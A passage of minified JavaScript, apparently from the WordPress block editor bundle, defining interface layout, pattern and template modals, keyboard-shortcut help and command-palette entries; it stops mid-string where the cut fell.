al=(0,u.forwardRef)((function({isDistractionFree:e,footer:t,header:s,editorNotices:o,sidebar:n,secondarySidebar:i,content:r,actions:a,labels:l,className:c},d){const[m,h]=(0,p.useResizeObserver)(),g=(0,p.useViewportMatch)("medium","<"),_={type:"tween",duration:(0,p.useReducedMotion)()?0:.25,ease:[.6,0,.4,1]};!function(e){(0,u.useEffect)((()=>{const t=document&&document.querySelector(`html:not(.${e})`);if(t)return t.classList.toggle(e),()=>{t.classList.toggle(e)}}),[e])}("interface-interface-skeleton__html-container");const f={...{header:(0,fs._x)("Header","header landmark area"),body:(0,fs.__)("Content"),secondarySidebar:(0,fs.__)("Block Library"),sidebar:(0,fs._x)("Settings","settings landmark area"),actions:(0,fs.__)("Publish"),footer:(0,fs.__)("Footer")},...l};return(0,L.jsxs)("div",{ref:d,className:Di(c,"interface-interface-skeleton",!!t&&"has-footer"),children:[(0,L.jsxs)("div",{className:"interface-interface-skeleton__editor",children:[(0,L.jsx)(Uo.__unstableAnimatePresence,{initial:!1,children:!!s&&(0,L.jsx)(nl,{as:Uo.__unstableMotion.div,className:"interface-interface-skeleton__header","aria-label":f.header,initial:e&&!g?"distractionFreeHidden":"hidden",whileHover:e&&!g?"distractionFreeHover":"visible",animate:e&&!g?"distractionFreeDisabled":"visible",exit:e&&!g?"distractionFreeHidden":"hidden",variants:rl,transition:_,children:s})}),e&&(0,L.jsx)("div",{className:"interface-interface-skeleton__header",children:o}),(0,L.jsxs)("div",{className:"interface-interface-skeleton__body",children:[(0,L.jsx)(Uo.__unstableAnimatePresence,{initial:!1,children:!!i&&(0,L.jsx)(nl,{className:"interface-interface-skeleton__secondary-sidebar",ariaLabel:f.secondarySidebar,as:Uo.__unstableMotion.div,initial:"closed",animate:"open",exit:"closed",variants:{open:{width:h.width},closed:{width:0}},transition:_,children:(0,L.jsxs)(Uo.__unstableMotion.div,{style:{position:"absolute",width:g?"100vw":"fit-content",height:"100%",left:0},variants:{open:{x:0},closed:{x:"-100%"}},transition:_,children:[m,i]})})}),(0,L.jsx)(nl,{className:"interface-interface-skeleton__content",ariaLabel:f.body,children:r}),!!n&&(0,L.jsx)(nl,{className:"interface-interface-skeleton__sidebar",ariaLabel:f.sidebar,children:n}),!!a&&(0,L.jsx)(nl,{className:"interface-interface-skeleton__actions",ariaLabel:f.actions,children:a})]})]}),!!t&&(0,L.jsx)(nl,{className:"interface-interface-skeleton__footer",ariaLabel:f.footer,children:t})]})})),{RenamePatternModal:ll}=$(ln.privateApis),cl="editor/pattern-rename";function dl(){const{record:e,postType:t}=(0,c.useSelect)((e=>{const{getCurrentPostType:t,getCurrentPostId:s}=e(Ac),{getEditedEntityRecord:o}=e(d.store),n=t();return{record:o("postType",n,s()),postType:n}}),[]),{closeModal:s}=(0,c.useDispatch)(Ua);return(0,c.useSelect)((e=>e(Ua).isModalActive(cl)))&&t===I?(0,L.jsx)(ll,{onClose:s,pattern:e}):null}const{DuplicatePatternModal:ul}=$(ln.privateApis),pl="editor/pattern-duplicate";function ml(){const{record:e,postType:t}=(0,c.useSelect)((e=>{const{getCurrentPostType:t,getCurrentPostId:s}=e(Ac),{getEditedEntityRecord:o}=e(d.store),n=t();return{record:o("postType",n,s()),postType:n}}),[]),{closeModal:s}=(0,c.useDispatch)(Ua);return(0,c.useSelect)((e=>e(Ua).isModalActive(pl)))&&t===I?(0,L.jsx)(ul,{onClose:s,onSuccess:()=>s(),pattern:e}):null}const{BlockRemovalWarningModal:hl}=$(h.privateApis),gl=["core/post-content","core/post-template","core/query"],_l=[{postTypes:["wp_template","wp_template_part"],callback(e){if(e.filter((({name:e})=>gl.includes(e))).length)return(0,fs._n)("Deleting this block will stop your post or page content from displaying on this template. It is not recommended.","Some of the deleted blocks will stop your post or page content from displaying on this template. It is not recommended.",e.length)}},{postTypes:["wp_block"],callback(e){if(e.filter((({attributes:e})=>e?.metadata?.bindings&&Object.values(e.metadata.bindings).some((e=>"core/pattern-overrides"===e.source)))).length)return(0,fs._n)("The deleted block allows instance overrides. Removing it may result in content not displaying where this pattern is used. Are you sure you want to proceed?","Some of the deleted blocks allow instance overrides. Removing them may result in content not displaying where this pattern is used. Are you sure you want to proceed?",e.length)}}];function fl(){const e=(0,c.useSelect)((e=>e(Ac).getCurrentPostType()),[]),t=(0,u.useMemo)((()=>_l.filter((t=>t.postTypes.includes(e)))),[e]);return hl&&t?(0,L.jsx)(hl,{rules:t}):null}function bl({blockPatterns:e,onChoosePattern:t}){const{editEntityRecord:s}=(0,c.useDispatch)(d.store),{postType:o,postId:n}=(0,c.useSelect)((e=>{const{getCurrentPostType:t,getCurrentPostId:s}=e(Ac);return{postType:t(),postId:s()}}),[]);return(0,L.jsx)(h.__experimentalBlockPatternsList,{blockPatterns:e,onClickPattern:(e,i)=>{s("postType",o,n,{blocks:i,content:({blocks:e=[]})=>(0,y.__unstableSerializeAndClean)(e)}),t()}})}function yl({onClose:e}){const[t,s]=(0,u.useState)(!0),{set:o}=(0,c.useDispatch)(k.store),n=function(){const{blockPatternsWithPostContentBlockType:e,postType:t}=(0,c.useSelect)((e=>{const{getPatternsByBlockTypes:t,getBlocksByName:s}=e(h.store),{getCurrentPostType:o,getRenderingMode:n}=e(Ac);return{blockPatternsWithPostContentBlockType:t("core/post-content","post-only"===n()?"":s("core/post-content")?.[0]),postType:o()}}),[]);return(0,u.useMemo)((()=>e?.length?e.filter((e=>"page"===t&&!e.postTypes||Array.isArray(e.postTypes)&&e.postTypes.includes(t))):[]),[t,e])}();if(!(n.length>0))return null;function i(){e(),o("core","enableChoosePatternModal",t)}return(0,L.jsxs)(Uo.Modal,{className:"editor-start-page-options__modal",title:(0,fs.__)("Choose a pattern"),isFullScreen:!0,onRequestClose:i,children:[(0,L.jsx)("div",{className:"editor-start-page-options__modal-content",children:(0,L.jsx)(bl,{blockPatterns:n,onChoosePattern:i})}),(0,L.jsx)(Uo.Flex,{className:"editor-start-page-options__modal__actions",justify:"flex-end",expanded:!1,children:(0,L.jsx)(Uo.FlexItem,{children:(0,L.jsx)(Uo.ToggleControl,{__nextHasNoMarginBottom:!0,checked:t,label:(0,fs.__)("Show starter patterns"),help:(0,fs.__)("Shows starter patterns when creating a new page."),onChange:e=>{s(e)}})})})]})}function xl(){const[e,t]=(0,u.useState)(!1),{isEditedPostDirty:s,isEditedPostEmpty:o}=(0,c.useSelect)(Ac),{isModalActive:n}=(0,c.useSelect)(Ua),{enabled:i,postId:r}=(0,c.useSelect)((e=>{const{getCurrentPostId:t,getCurrentPostType:s}=e(Ac),o=e(k.store).get("core","enableChoosePatternModal");return{postId:t(),enabled:o&&T!==s()}}),[]);return(0,u.useEffect)((()=>{const e=!s()&&o(),r=n("editor/preferences");i&&e&&!r&&t(!0)}),[i,r,s,o,n]),e?(0,L.jsx)(yl,{onClose:()=>t(!1)}):null}const vl=window.wp.keyboardShortcuts,Sl=[{keyCombination:{modifier:"primary",character:"b"},description:(0,fs.__)("Make the selected text bold.")},{keyCombination:{modifier:"primary",character:"i"},description:(0,fs.__)("Make the selected text italic.")},{keyCombination:{modifier:"primary",character:"k"},description:(0,fs.__)("Convert the selected text into a link.")},{keyCombination:{modifier:"primaryShift",character:"k"},description:(0,fs.__)("Remove a link.")},{keyCombination:{character:"[["},description:(0,fs.__)("Insert a link to a post or page.")},{keyCombination:{modifier:"primary",character:"u"},description:(0,fs.__)("Underline the selected text.")},{keyCombination:{modifier:"access",character:"d"},description:(0,fs.__)("Strikethrough the selected text.")},{keyCombination:{modifier:"access",character:"x"},description:(0,fs.__)("Make the selected text inline code.")},{keyCombination:{modifier:"access",character:"0"},aliases:[{modifier:"access",character:"7"}],description:(0,fs.__)("Convert the current heading to a paragraph.")},{keyCombination:{modifier:"access",character:"1-6"},description:(0,fs.__)("Convert the current paragraph or heading to a heading of level 1 to 6.")},{keyCombination:{modifier:"primaryShift",character:"SPACE"},description:(0,fs.__)("Add non breaking space.")}],wl=window.wp.keycodes;function kl({keyCombination:e,forceAriaLabel:t}){const s=e.modifier?wl.displayShortcutList[e.modifier](e.character):e.character,o=e.modifier?wl.shortcutAriaLabel[e.modifier](e.character):e.character;return(0,L.jsx)("kbd",{className:"editor-keyboard-shortcut-help-modal__shortcut-key-combination","aria-label":t||o,children:(Array.isArray(s)?s:[s]).map(((e,t)=>"+"===e?(0,L.jsx)(u.Fragment,{children:e},t):(0,L.jsx)("kbd",{className:"editor-keyboard-shortcut-help-modal__shortcut-key",children:e},t)))})}const Cl=function({description:e,keyCombination:t,aliases:s=[],ariaLabel:o}){return(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)("div",{className:"editor-keyboard-shortcut-help-modal__shortcut-description",children:e}),(0,L.jsxs)("div",{className:"editor-keyboard-shortcut-help-modal__shortcut-term",children:[(0,L.jsx)(kl,{keyCombination:t,forceAriaLabel:o}),s.map(((e,t)=>(0,L.jsx)(kl,{keyCombination:e,forceAriaLabel:o},t)))]})]})};const Pl=function({name:e}){const{keyCombination:t,description:s,aliases:o}=(0,c.useSelect)((t=>{const{getShortcutKeyCombination:s,getShortcutDescription:o,getShortcutAliases:n}=t(vl.store);return{keyCombination:s(e),aliases:n(e),description:o(e)}}),[e]);return t?(0,L.jsx)(Cl,{keyCombination:t,description:s,aliases:o}):null},jl="editor/keyboard-shortcut-help",El=({shortcuts:e})=>(0,L.jsx)("ul",{className:"editor-keyboard-shortcut-help-modal__shortcut-list",role:"list",children:e.map(((e,t)=>(0,L.jsx)("li",{className:"editor-keyboard-shortcut-help-modal__shortcut",children:"string"==typeof e?(0,L.jsx)(Pl,{name:e}):(0,L.jsx)(Cl,{...e})},t)))}),Tl=({title:e,shortcuts:t,className:s})=>(0,L.jsxs)("section",{className:Di("editor-keyboard-shortcut-help-modal__section",s),children:[!!e&&(0,L.jsx)("h2",{className:"editor-keyboard-shortcut-help-modal__section-title",children:e}),(0,L.jsx)(El,{shortcuts:t})]}),Bl=({title:e,categoryName:t,additionalShortcuts:s=[]})=>{const o=(0,c.useSelect)((e=>e(vl.store).getCategoryShortcuts(t)),[t]);return(0,L.jsx)(Tl,{title:e,shortcuts:o.concat(s)})};const Il=function(){const e=(0,c.useSelect)((e=>e(Ua).isModalActive(jl)),[]),{openModal:t,closeModal:s}=(0,c.useDispatch)(Ua),o=()=>{e?s():t(jl)};return(0,vl.useShortcut)("core/editor/keyboard-shortcuts",o),e?(0,L.jsxs)(Uo.Modal,{className:"editor-keyboard-shortcut-help-modal",title:(0,fs.__)("Keyboard shortcuts"),closeButtonLabel:(0,fs.__)("Close"),onRequestClose:o,children:[(0,L.jsx)(Tl,{className:"editor-keyboard-shortcut-help-modal__main-shortcuts",shortcuts:["core/editor/keyboard-shortcuts"]}),(0,L.jsx)(Bl,{title:(0,fs.__)("Global shortcuts"),categoryName:"global"}),(0,L.jsx)(Bl,{title:(0,fs.__)("Selection shortcuts"),categoryName:"selection"}),(0,L.jsx)(Bl,{title:(0,fs.__)("Block shortcuts"),categoryName:"block",additionalShortcuts:[{keyCombination:{character:"/"},description:(0,fs.__)("Change the block type after adding a new paragraph."),ariaLabel:(0,fs.__)("Forward-slash")}]}),(0,L.jsx)(Tl,{title:(0,fs.__)("Text formatting"),shortcuts:Sl}),(0,L.jsx)(Bl,{title:(0,fs.__)("List View shortcuts"),categoryName:"list-view"})]}):null};function Nl({clientId:e,onClose:t}){const s=oa(),{entity:o,onNavigateToEntityRecord:n,canEditTemplates:i}=(0,c.useSelect)((t=>{const{getBlockParentsByBlockName:o,getSettings:n,getBlockAttributes:i,getBlockParents:r}=t(h.store),{getCurrentTemplateId:a,getRenderingMode:l}=t(Ac),c=o(e,"core/block",!0)[0];let u;if(c?u=t(d.store).getEntityRecord("postType","wp_block",i(c).ref):"template-locked"!==l()||r(e).some((e=>s.includes(e)))||(u=t(d.store).getEntityRecord("postType","wp_template",a())),!u)return{};return{canEditTemplates:t(d.store).canUser("create",{kind:"postType",name:"wp_template"}),entity:u,onNavigateToEntityRecord:n().onNavigateToEntityRecord}}),[e,s]);if(!o)return(0,L.jsx)(Dl,{clientId:e,onClose:t});const r="wp_block"===o.type;let a=r?(0,fs.__)("Edit the pattern to move, delete, or make further changes to this block."):(0,fs.__)("Edit the template to move, delete, or make further changes to this block.");return i||(a=(0,fs.__)("Only users with permissions to edit the template can move or delete this block")),(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(h.__unstableBlockSettingsMenuFirstItem,{children:(0,L.jsx)(Uo.MenuItem,{onClick:()=>{n({postId:o.id,postType:o.type})},disabled:!i,children:r?(0,fs.__)("Edit pattern"):(0,fs.__)("Edit template")})}),(0,L.jsx)(Uo.__experimentalText,{variant:"muted",as:"p",className:"editor-content-only-settings-menu__description",children:a})]})}function Dl({clientId:e,onClose:t}){const{contentLockingParent:s}=(0,c.useSelect)((t=>{const{getContentLockingParent:s}=$(t(h.store));return{contentLockingParent:s(e)}}),[e]),o=(0,h.useBlockDisplayInformation)(s),n=(0,c.useDispatch)(h.store);if(!o?.title)return null;const{modifyContentLockBlock:i}=$(n);return(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(h.__unstableBlockSettingsMenuFirstItem,{children:(0,L.jsx)(Uo.MenuItem,{onClick:()=>{i(s),t()},children:(0,fs._x)("Unlock","Unlock content locked blocks")})}),(0,L.jsx)(Uo.__experimentalText,{variant:"muted",as:"p",className:"editor-content-only-settings-menu__description",children:(0,fs.__)("Temporarily unlock the parent block to edit, delete or make further changes to this block.")})]})}function Al(){return(0,L.jsx)(h.BlockSettingsMenuControls,{children:({selectedClientIds:e,onClose:t})=>1===e.length&&(0,L.jsx)(Nl,{clientId:e[0],onClose:t})})}function Rl(e){const{slug:t,patterns:s}=(0,c.useSelect)((e=>{const{getCurrentPostType:t,getCurrentPostId:s}=e(Ac),{getEntityRecord:o,getBlockPatterns:n}=e(d.store),i=s();return{slug:o("postType",t(),i).slug,patterns:n()}}),[]),o=(0,c.useSelect)((e=>e(d.store).getCurrentTheme().stylesheet));return(0,u.useMemo)((()=>[{name:"fallback",blocks:(0,y.parse)(e),title:(0,fs.__)("Fallback content")},...s.filter((e=>Array.isArray(e.templateTypes)&&e.templateTypes.some((e=>t.startsWith(e))))).map((e=>({...e,blocks:(0,y.parse)(e.content).map((e=>function(e){return e.innerBlocks.find((e=>"core/template-part"===e.name))&&(e.innerBlocks=e.innerBlocks.map((e=>("core/template-part"===e.name&&void 0===e.attributes.theme&&(e.attributes.theme=o),e)))),"core/template-part"===e.name&&void 0===e.attributes.theme&&(e.attributes.theme=o),e}(e)))})))]),[e,t,s])}function Ml({fallbackContent:e,onChoosePattern:t,postType:s}){const[,,o]=(0,d.useEntityBlockEditor)("postType",s),n=Rl(e);return(0,L.jsx)(h.__experimentalBlockPatternsList,{blockPatterns:n,onClickPattern:(e,s)=>{o(s,{selection:void 0}),t()}})}function Ll({slug:e,isCustom:t,onClose:s,postType:o}){const n=function(e,t=!1){return(0,c.useSelect)((s=>{const{getEntityRecord:o,getDefaultTemplateId:n}=s(d.store),i=n({slug:e,is_custom:t,ignore_empty:!0});return i?o("postType",T,i)?.content?.raw:void 0}),[e,t])}(e,t);return n?(0,L.jsxs)(Uo.Modal,{className:"editor-start-template-options__modal",title:(0,fs.__)("Choose a pattern"),closeLabel:(0,fs.__)("Cancel"),focusOnMount:"firstElement",onRequestClose:s,isFullScreen:!0,children:[(0,L.jsx)("div",{className:"editor-start-template-options__modal-content",children:(0,L.jsx)(Ml,{fallbackContent:n,slug:e,isCustom:t,postType:o,onChoosePattern:()=>{s()}})}),(0,L.jsx)(Uo.Flex,{className:"editor-start-template-options__modal__actions",justify:"flex-end",expanded:!1,children:(0,L.jsx)(Uo.FlexItem,{children:(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,variant:"tertiary",onClick:s,children:(0,fs.__)("Skip")})})})]}):null}function Ol(){const[e,t]=(0,u.useState)(!1),{shouldOpenModal:s,slug:o,isCustom:n,postType:i,postId:r}=(0,c.useSelect)((e=>{const{getCurrentPostType:t,getCurrentPostId:s}=e(Ac),o=t(),n=s(),{getEditedEntityRecord:i,hasEditsForEntityRecord:r}=e(d.store),a=i("postType",o,n);return{shouldOpenModal:!r("postType",o,n)&&""===a.content&&T===o,slug:a.slug,isCustom:a.is_custom,postType:o,postId:n}}),[]);return(0,u.useEffect)((()=>{t(!1)}),[i,r]),!s||e?null:(0,L.jsx)(Ll,{slug:o,isCustom:n,postType:i,onClose:()=>t(!0)})}function Fl(){const e=(0,c.useSelect)((e=>{const{richEditingEnabled:t,codeEditingEnabled:s}=e(Ac).getEditorSettings();return!t||!s}),[]),{getBlockSelectionStart:t}=(0,c.useSelect)(h.store),{getActiveComplementaryArea:s}=(0,c.useSelect)(Ua),{enableComplementaryArea:o,disableComplementaryArea:n}=(0,c.useDispatch)(Ua),{redo:i,undo:r,savePost:a,setIsListViewOpened:l,switchEditorMode:d,toggleDistractionFree:u}=(0,c.useDispatch)(Ac),{isEditedPostDirty:p,isPostSavingLocked:m,isListViewOpened:g,getEditorMode:_}=(0,c.useSelect)(Ac);return(0,vl.useShortcut)("core/editor/toggle-mode",(()=>{d("visual"===_()?"text":"visual")}),{isDisabled:e}),(0,vl.useShortcut)("core/editor/toggle-distraction-free",(()=>{u()})),(0,vl.useShortcut)("core/editor/undo",(e=>{r(),e.preventDefault()})),(0,vl.useShortcut)("core/editor/redo",(e=>{i(),e.preventDefault()})),(0,vl.useShortcut)("core/editor/save",(e=>{e.preventDefault(),m()||p()&&a()})),(0,vl.useShortcut)("core/editor/toggle-list-view",(e=>{g()||(e.preventDefault(),l(!0))})),(0,vl.useShortcut)("core/editor/toggle-sidebar",(e=>{e.preventDefault();if(["edit-post/document","edit-post/block"].includes(s("core")))n("core");else{const e=t()?"edit-post/block":"edit-post/document";o("core",e)}})),null}function Vl({clientId:e,onClose:t}){const{getBlocks:s}=(0,c.useSelect)(h.store),{replaceBlocks:o}=(0,c.useDispatch)(h.store);return(0,c.useSelect)((t=>t(h.store).canRemoveBlock(e)),[e])?(0,L.jsx)(Uo.MenuItem,{onClick:()=>{o(e,s(e)),t()},children:(0,fs.__)("Detach")}):null}function zl({clientIds:e,blocks:t}){const[s,o]=(0,u.useState)(!1),{replaceBlocks:n}=(0,c.useDispatch)(h.store),{createSuccessNotice:i}=(0,c.useDispatch)(_s.store),{canCreate:r}=(0,c.useSelect)((e=>({canCreate:e(h.store).canInsertBlockType("core/template-part")})),[]);if(!r)return null;return(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(Uo.MenuItem,{icon:z,onClick:()=>{o(!0)},"aria-expanded":s,"aria-haspopup":"dialog",children:(0,fs.__)("Create template part")}),s&&(0,L.jsx)(Jo,{closeModal:()=>{o(!1)},blocks:t,onCreate:async t=>{n(e,(0,y.createBlock)("core/template-part",{slug:t.slug,theme:t.theme})),i((0,fs.__)("Template part created."),{type:"snackbar"})}})]})}function Ul(){return(0,L.jsx)(h.BlockSettingsMenuControls,{children:({selectedClientIds:e,onClose:t})=>(0,L.jsx)(Hl,{clientIds:e,onClose:t})})}function Hl({clientIds:e,onClose:t}){const{blocks:s}=(0,c.useSelect)((t=>{const{getBlocksByClientId:s}=t(h.store);return{blocks:s(e)}}),[e]);return 1===s.length&&"core/template-part"===s[0]?.name?(0,L.jsx)(Vl,{clientId:e[0],onClose:t}):(0,L.jsx)(zl,{clientIds:e,blocks:s})}const{ExperimentalBlockEditorProvider:Gl}=$(h.privateApis),{PatternsMenuItems:$l}=$(ln.privateApis),Wl=()=>{},Zl=["wp_block","wp_navigation","wp_template_part"];const Yl=Sr((({post:e,settings:t,recovery:s,initialEdits:o,children:n,BlockEditorProviderComponent:i=Gl,__unstableTemplate:r})=>{const a=!!r,{editorSettings:l,selection:p,isReady:g,mode:_,defaultMode:f,postTypeEntities:b}=(0,c.useSelect)((t=>{const{getEditorSettings:s,getEditorSelection:o,getRenderingMode:n,__unstableIsEditorReady:i,getDefaultRenderingMode:r}=$(t(Ac)),{getEntitiesConfig:l}=t(d.store),c=n(),u=r(e.type),p="template-locked"===u?a:void 0!==u,m=void 0!==u;return{editorSettings:s(),isReady:i(),mode:m?c:void 0,defaultMode:p?u:void 0,selection:o(),postTypeEntities:"wp_template"===e.type?l("postType"):null}}),[e.type,a]),x=a&&"post-only"!==_,S=x?r:e,w=(0,u.useMemo)((()=>{const t={};if("wp_template"===e.type){if("page"===e.slug)t.postType="page";else if("single"===e.slug)t.postType="post";else if("single"===e.slug.split("-")[0]){const s=b?.map((e=>e.name))||[],o=e.slug.match(`^single-(${s.join("|")})(?:-.+)?$`);o&&(t.postType=o[1])}}else Zl.includes(S.type)&&!x||(t.postId=e.id,t.postType=e.type);return{...t,templateSlug:"wp_template"===S.type?S.slug:void 0}}),[x,e.id,e.type,e.slug,S.type,S.slug,b]),{id:C,type:P}=S,j=ta(l,P,C,_),[E,N,D]=function(e,t,s){const o="template-locked"===s?"template":"post",[n,i,r]=(0,d.useEntityBlockEditor)("postType",e.type,{id:e.id}),[a,l,c]=(0,d.useEntityBlockEditor)("postType",t?.type,{id:t?.id}),p=(0,u.useMemo)((()=>{if("wp_navigation"===e.type)return[(0,y.createBlock)("core/navigation",{ref:e.id,templateLock:!1})]}),[e.type,e.id]),m=(0,u.useMemo)((()=>p||("template"===o?a:n)),[p,o,a,n]);return t&&"template-locked"===s||"wp_navigation"===e.type?[m,Wl,Wl]:[m,"post"===o?i:l,"post"===o?r:c]}(e,r,_),{updatePostLock:A,setupEditor:R,updateEditorSettings:M,setCurrentTemplateId:O,setEditedPost:F,setRenderingMode:V}=$((0,c.useDispatch)(Ac)),{createWarningNotice:z}=(0,c.useDispatch)(_s.store);return(0,u.useLayoutEffect)((()=>{s||(A(t.postLock),R(e,o,t.template),t.autosave&&z((0,fs.__)("There is an autosave of this post that is more recent than the version below."),{id:"autosave-exists",actions:[{label:(0,fs.__)("View the autosave"),url:t.autosave.editLink}]}))}),[]),(0,u.useEffect)((()=>{F(e.type,e.id)}),[e.type,e.id,F]),(0,u.useEffect)((()=>{M(t)}),[t,M]),(0,u.useEffect)((()=>{O(r?.id)}),[r?.id,O]),(0,u.useEffect)((()=>{f&&V(f)}),[f,V]),function(e,t){(0,u.useEffect)((()=>((0,m.addFilter)("blockEditor.__unstableCanInsertBlockType","removeTemplatePartsFromInserter",((s,o)=>!(!ra.includes(e)&&"core/template-part"===o.name&&"post-only"===t)&&s)),(0,m.addFilter)("blockEditor.__unstableCanInsertBlockType","removePostContentFromInserter",((t,s,o,{getBlockParentsByBlockName:n})=>ra.includes(e)||"core/post-content"!==s.name?t:n(o,"core/query").length>0)),()=>{(0,m.removeFilter)("blockEditor.__unstableCanInsertBlockType","removeTemplatePartsFromInserter"),(0,m.removeFilter)("blockEditor.__unstableCanInsertBlockType","removePostContentFromInserter")})),[e,t])}(e.type,_),(0,ya.useCommandLoader)({name:"core/editor/edit-ui",hook:function(){const{editorMode:e,isListViewOpen:t,showBlockBreadcrumbs:s,isDistractionFree:o,isFocusMode:n,isPreviewMode:i,isViewable:r,isCodeEditingEnabled:a,isRichEditingEnabled:l,isPublishSidebarEnabled:u}=(0,c.useSelect)((e=>{var t,s;const{get:o}=e(k.store),{isListViewOpened:n,getCurrentPostType:i,getEditorSettings:r}=e(Ac),{getSettings:a}=e(h.store),{getPostType:l}=e(d.store);return{editorMode:null!==(t=o("core","editorMode"))&&void 0!==t?t:"visual",isListViewOpen:n(),showBlockBreadcrumbs:o("core","showBlockBreadcrumbs"),isDistractionFree:o("core","distractionFree"),isFocusMode:o("core","focusMode"),isPreviewMode:a().isPreviewMode,isViewable:null!==(s=l(i())?.viewable)&&void 0!==s&&s,isCodeEditingEnabled:r().codeEditingEnabled,isRichEditingEnabled:r().richEditingEnabled,isPublishSidebarEnabled:e(Ac).isPublishSidebarEnabled()}}),[]),{getActiveComplementaryArea:p}=(0,c.useSelect)(Ua),{toggle:m}=(0,c.useDispatch)(k.store),{createInfoNotice:g}=(0,c.useDispatch)(_s.store),{__unstableSaveForPreview:_,setIsListViewOpened:f,switchEditorMode:b,toggleDistractionFree:y,toggleSpotlightMode:x,toggleTopToolbar:S}=(0,c.useDispatch)(Ac),{openModal:w,enableComplementaryArea:C,disableComplementaryArea:P}=(0,c.useDispatch)(Ua),{getCurrentPostId:j}=(0,c.useSelect)(Ac),{isBlockBasedTheme:E,canCreateTemplate:T}=(0,c.useSelect)((e=>({isBlockBasedTheme:e(d.store).getCurrentTheme()?.is_block_theme,canCreateTemplate:e(d.store).canUser("create",{kind:"postType",name:"wp_template"})})),[]),B=a&&l;if(i)return{commands:[],isLoading:!1};const I=[];if(I.push({name:"core/open-shortcut-help",label:(0,fs.__)("Keyboard shortcuts"),icon:aa,callback:({close:e})=>{e(),w("editor/keyboard-shortcut-help")}}),I.push({name:"core/toggle-distraction-free",label:o?(0,fs.__)("Exit Distraction free"):(0,fs.__)("Enter Distraction free"),callback:({close:e})=>{y(),e()}}),I.push({name:"core/open-preferences",label:(0,fs.__)("Editor preferences"),callback:({close:e})=>{e(),w("editor/preferences")}}),I.push({name:"core/toggle-spotlight-mode",label:n?(0,fs.__)("Exit Spotlight mode"):(0,fs.__)("Enter Spotlight mode"),callback:({close:e})=>{x(),e()}}),I.push({name:"core/toggle-list-view",label:t?(0,fs.__)("Close List View"):(0,fs.__)("Open List View"),icon:la,callback:({close:e})=>{f(!t),e(),g(t?(0,fs.__)("List View off."):(0,fs.__)("List View on."),{id:"core/editor/toggle-list-view/notice",type:"snackbar"})}}),I.push({name:"core/toggle-top-toolbar",label:(0,fs.__)("Top toolbar"),callback:({close:e})=>{S(),e()}}),B&&I.push({name:"core/toggle-code-editor",label:"visual"===e?(0,fs.__)("Open code editor"):(0,fs.__)("Exit code editor"),icon:ca,callback:({close:t})=>{b("visual"===e?"text":"visual"),t()}}),I.push({name:"core/toggle-breadcrumbs",label:s?(0,fs.__)("Hide block breadcrumbs"):(0,fs.__)("Show block breadcrumbs"),callback:({close:e})=>{m("core","showBlockBreadcrumbs"),e(),g(s?(0,fs.__)("Breadcrumbs hidden."):(0,fs.__)("Breadcrumbs visible."),{id:"core/editor/toggle-breadcrumbs/notice",type:"snackbar"})}}),I.push({name:"core/open-settings-sidebar",label:(0,fs.__)("Show or hide the Settings panel."),icon:(0,fs.isRTL)()?da:ua,callback:({close:e})=>{const t=p("core");e(),"edit-post/document"===t?P("core"):C("core","edit-post/document")}}),I.push({name:"core/open-block-inspector",label:(0,fs.__)("Show or hide the Block settings panel"),icon:pa,callback:({close:e})=>{const t=p("core");e(),"edit-post/block"===t?P("core"):C("core","edit-post/block")}}),I.push({name:"core/toggle-publish-sidebar",label:u?(0,fs.__)("Disable pre-publish checks"):(0,fs.__)("Enable pre-publish checks"),icon:ma,callback:({close:e})=>{e(),m("core","isPublishSidebarEnabled"),g(u?(0,fs.__)("Pre-publish checks disabled."):(0,fs.__)("Pre-publish checks enabled."),{id:"core/editor/publish-sidebar/notice",type:"snackbar"})}}),r&&I.push({name:"core/preview-link",label:(0,fs.__)("Preview in a new tab"),icon:Fo,callback:async({close:e})=>{e();const t=j(),s=await _();window.open(s,`wp-preview-${t}`)}}),T&&E){const e=(0,v.getPath)(window.location.href)?.includes("site-editor.php");e||I.push({name:"core/go-to-site-editor",label:(0,fs.__)("Open Site Editor"),callback:({close:e})=>{e(),document.location="site-editor.php"}})}return{commands:I,isLoading:!1}}}),(0,ya.useCommandLoader)({name:"core/editor/contextual-commands",hook:function(){const{postType:e}=(0,c.useSelect)((e=>{const{getCurrentPostType:t}=e(Ac);return{postType:t()}}),[]),{openModal:t}=(0,c.useDispatch)(Ua),s=[];return e===I&&(s.push({name:"core/rename-pattern",label:(0,fs.__)("Rename pattern"),icon:ha,callback:({close:e})=>{t(cl),e()}}),s.push({name:"core/duplicate-pattern",label:(0,fs.__)("Duplicate pattern"),icon:ga,callback:({close:e})=>{t(pl),e()}})),{isLoading:!1,commands:s}},context:"entity-edit"}),(0,ya.useCommandLoader)({name:"core/editor/page-content-focus",hook:function(){const{onNavigateToEntityRecord:e,goBack:t,templateId:s,isPreviewMode:o}=(0,c.useSelect)((e=>{const{getRenderingMode:t,getEditorSettings:s,getCurrentTemplateId:o}=$(e(Ac)),n=s();return{isTemplateHidden:"post-only"===t(),onNavigateToEntityRecord:n.onNavigateToEntityRecord,getEditorSettings:s,goBack:n.onNavigateToPreviousEntityRecord,templateId:o(),isPreviewMode:n.isPreviewMode}}),[]),{editedRecord:n,hasResolved:i}=(0,d.useEntityRecord)("postType","wp_template",s);if(o)return{isLoading:!1,commands:[]};const r=[];return s&&i&&r.push({name:"core/switch-to-template-focus",label:(0,fs.sprintf)((0,fs.__)("Edit template: %s"),(0,Lo.decodeEntities)(n.title)),icon:W,callback:({close:t})=>{e({postId:s,postType:"wp_template"}),t()}}),t&&r.push({name:"core/switch-to-previous-entity",label:(0,fs.__)("Go back"),icon:_a,callback:({close:e})=>{t(),e()}}),{isLoading:!1,commands:r}},context:"entity-edit"}),(0,ya.useCommandLoader)({name:"core/edit-site/manipulate-document",hook:function(){const{postType:e,postId:t}=(0,c.useSelect)((e=>{const{getCurrentPostId:t,getCurrentPostType:s}=e(Ac);return{postType:s(),postId:t()}}),[]),{editedRecord:s,hasResolved:o}=(0,d.useEntityRecord)("postType",e,t),{revertTemplate:n}=$((0,c.useDispatch)(Ac));if(!o||![B,T].includes(e))return{isLoading:!0,commands:[]};const i=[];if(Oo(s)){const e=s.type===T?(0,fs.sprintf)((0,fs.__)("Reset template: %s"),(0,Lo.decodeEntities)(s.title)):(0,fs.sprintf)((0,fs.__)("Reset template part: 